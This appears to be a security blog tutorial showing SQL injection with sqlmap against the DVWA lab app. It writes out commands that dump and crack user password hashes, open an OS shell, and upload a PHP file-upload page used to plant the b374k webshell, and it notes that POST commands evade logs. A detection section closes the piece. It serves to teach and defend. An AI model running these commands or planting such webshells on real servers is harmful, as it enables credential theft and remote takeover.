An SQL Injection attack is not only limited to dumping a database, but can also allow the attacker to upload files to the remote server and consequently gain remote access via a WebShell.

WebShells can receive commands from the attackers mainly using 2 methods:

  • based on GET requests, which can easily be detected through logs and SIEM solutions as the commands are visible in the URL
  • based on POST, which is a bit more stealthy as the commands are submitted in the payload and therefore not part of the logs

In this tutorial we will see how to:

  • use sqlmap to perform an SQL Injection attack
  • dump the database using sqlmap
  • use sqlmap to automatically provide WebShell access based on GET requests
  • use sqlmap to upload a custom and more advanced WebShell (b374k) which relies on POST

To test the SQL Injections, we will use the DVWA (Damn Vulnerable Web Application), which is a web application purposely built with vulnerabilities and weaknesses for pen-testing.

Performing the SQL Injection Attack

We first need to access the web application, in my case, it is located at http://192.168.1.128

1-login
To access the internal pages (which contains the vulnerable page), we first need to login. In a real life scenario, the vulnerability might not require authentication, or, the attacker could have gotten access to a valid user account through a phishing attack or brute-forcing. In our case, we will consider that we already have an account, admin/password.

Once logged in, we will go to the page which is vulnerable to SQL Injections. Again, in our case, we already know which page it is. Typically we could have use a web application vulnerability scanner to crawl the website and look for weaknesses.

2-sql field

To perform the attack, we will need 2 things:

  • The URL containing the parameters that need to be tested for vulnerabilities
  • The authentication cookie, as we need to be authenticated to be able to access the page, and therefore sqlmap will need to have access to reach the page

To get the cookie value, in Chrome,  it can be found in “Inspect –> Application –> Cookies”

3-cookies

We will now use this is sqlmap to test the page for SQL Injection vulnerabilities.

sqlmap -u “http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low”

sqlmap will try to identify the type of database as well as any parameter within the page vulnerable to SQL Injections. In our case, it identified that the “id” parameter is vulnerable and that the back-end database is MySQL.

sql testing

We will now add the “–dbs” argument at the end of the command to list the available databases on the web server.

sqlmap -u “http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low” –dbs

5-dbs list

sqlmap outputs the available databases. We want to look at the tables available under the “dvwa” database. To do that, we will replace “–dbs” with “-D dvwa –tables” to specifically list the tables of that database.

sqlmap -u “http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low” -D dvwa –tables

7-list columns

sqlmap outputs the avialble tables. One of them is the “users” tables. We now want to output the columns of that table. To do that, we will replace “–tables” with “-T users –columns”

sqlmap -u “http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low” -D dvwa -T users –columns

8-dump passwords.PNG

We can see there are 2 columns of interest, “user” and “password”. To dump the content of these tables, we will replace “–columns” with “-C user,password –dump”

sqlmap -u “http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low” -D dvwa -T users -C user,password –dump

10-crack hashes

sqlmap provides us with a list of usernames and password hashes. We can also see that sqlmap provides the option to store the hashes to try and crack them using a dictionary attack. We will answer “Y” to that and we will use the default dictionary.

11-passwords cracked.PNG

sqlmap now shows the usernames with their respective clear-text passwords based on the dictionary attack.

This shows how sqlmap can be used to dump the content of a database. But sqlmap also provides the option to get shell access (via a WebShell).

Gaining WebShell Access with sqlmap

Using the same command structure, instead of listing databases, we will provide the “–os-shell” argument. This will make sqlmap upload a simple WebShell to the web server and interact with.

sqlmap -u “http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low” –os-shell

12-os-shell.PNG

sqlmap will ask for some information regarding the language used by the web server. In our case it is PHP, so it knows to upload a PHP WebShell. We will also upload it to the default location (/xampp/htdocs/). We are provided with an interactive shell from which we can send commands and get the output back.

13-os-shell output

The problem with this type of WebShell is that it’s very basic and uses GET requests, which can be easily detected using logs and SIEM solutions.

Next we will look how to upload our own files using sqlmap (instead of the default WebShell prvovided by sqlmap), such as the b374k WebShell.

Uploading Custom Files and WebShells using sqlmap

sqlmap allows to download and upload custom files. We will therefore use the “–file-write” and “–file-dest” parameters to upload our own files.

We will start by uploading a PHP upload page, from which we will be able to upload any file we want to the web server.

The following is the “upload.php” file:

<html>
<body>

<?php
$path_name = pathinfo($_SERVER[‘PHP_SELF’]);
$this_script = $path_name[‘basename’];
?>

<form enctype=”multipart/form-data” action=”<?php echo $_SERVER[‘PHP_SELF’]; ?>” method=”POST”>
File: <input name=”file” type=”file” /><br />
<input type=”submit” value=”Upload” /></form>

<?php

if (!empty($_FILES[“file”]))
{
if ($_FILES[“file”][“error”] > 0)
{echo “Error: ” . $_FILES[“file”][“error”] . “<br>”;}
else
{echo “Stored file:”.$_FILES[“file”][“name”].”<br/>Size:”.($_FILES[“file”][“size”]/1024).” kB<br/>”;
move_uploaded_file($_FILES[“file”][“tmp_name”],$_FILES[“file”][“name”]);
}
}

// open this directory
$myDirectory = opendir(“.”);
// get each entry
while($entryName = readdir($myDirectory)) {$dirArray[] = $entryName;} closedir($myDirectory);
$indexCount = count($dirArray);
echo “$indexCount files<br/>”;
sort($dirArray);

echo “<TABLE border=1 cellpadding=5 cellspacing=0 class=whitelinks><TR><TH>Filename</TH><th>Filetype</th><th>Filesize</th></TR>\n”;

for($index=0; $index < $indexCount; $index++)
{
if (substr(“$dirArray[$index]”, 0, 1) != “.”)
{
echo “<TR>
<td><a href=\”$dirArray[$index]\”>$dirArray[$index]</a></td>
<td>”.filetype($dirArray[$index]).”</td>
<td>”.filesize($dirArray[$index]).”</td>
</TR>”;
}
}
echo “</TABLE>”;
?>

</body>
</html>

Once we upload this file, we will be able to access it through a browser and use it to upload our WebShell.

To upload the “upload.php” file using sqlmap, we will use the following command:

sqlmap -u “http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#&#8221; –cookie=”PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low” –file-dest=”/xampp/htdocs/upload.php” –file-write=”~/Desktop/upload.php”

In the above command, “/xampp/htdocs/upload.php” is the location where to write the file on the remote web server, and the “~/Desktop/upload.php” is the location of the WebShell on the local machine of the attacker.

Once uploaded, we can then access the upload page from a browser at the “http://192.168.1.128/upload.php&#8221; URL, from where we can upload the “b374k.php” WebShell (or any other file as well).

upload

Once uploaded, we can then access the WebShell either by clicking on the filename in the list, or by browsing to http://192.168.1.128/b374k.php

We now have access to a more advanced WebShell which allows us to

Browse the filesystem, download files, upload files …

filesystem

Look for running processes and kill them

processes

Or have an interactive shell from where to execute commands

interactive shell

And all of it from an easy to use, user friendly graphic interface.

And most importantly, using POST requests instead of GET, which allows the specific commands executed not to be detected by the web server logs.

Detection

Now that we have seen how to perform this attack, here are some ways to detect the different steps using full packet capture and EDR solutions.

1st of all, using a full packet capture solution, it is possible to detect SQL Injection attempts, whether the tool is using parameters in the URL or from within forms, as the whole payload is captured and analyzed, as opposed to only the URL. In the below example we can see that RSA NetWitness Packets was able to detect the SQL Injection and identifies the queries performed as part of the attack.

sa-sql risk.PNG

Then, it is possible to identify the the actual WebShell file that is being used, as well as the commands executed by the attacker. RSA NetWitness Packets is also able to identify that the web session contains CLI commands, which is suspicious.

sa-webshell2.PNG

Having the entire network payload, it is also possible to reconstruct the WebShell session and see the commands and outputs, providing insight into what the attacker was actually able to get.

sa-webshell-reconstruct.PNG

Using an EDR solution such as RSA NetWitness Endpoint, we would also be able to see the web server service running CLI commands, which is a suspicious behavior and typical of WebShells.

ecat-webshell

RSA NetWitness Suite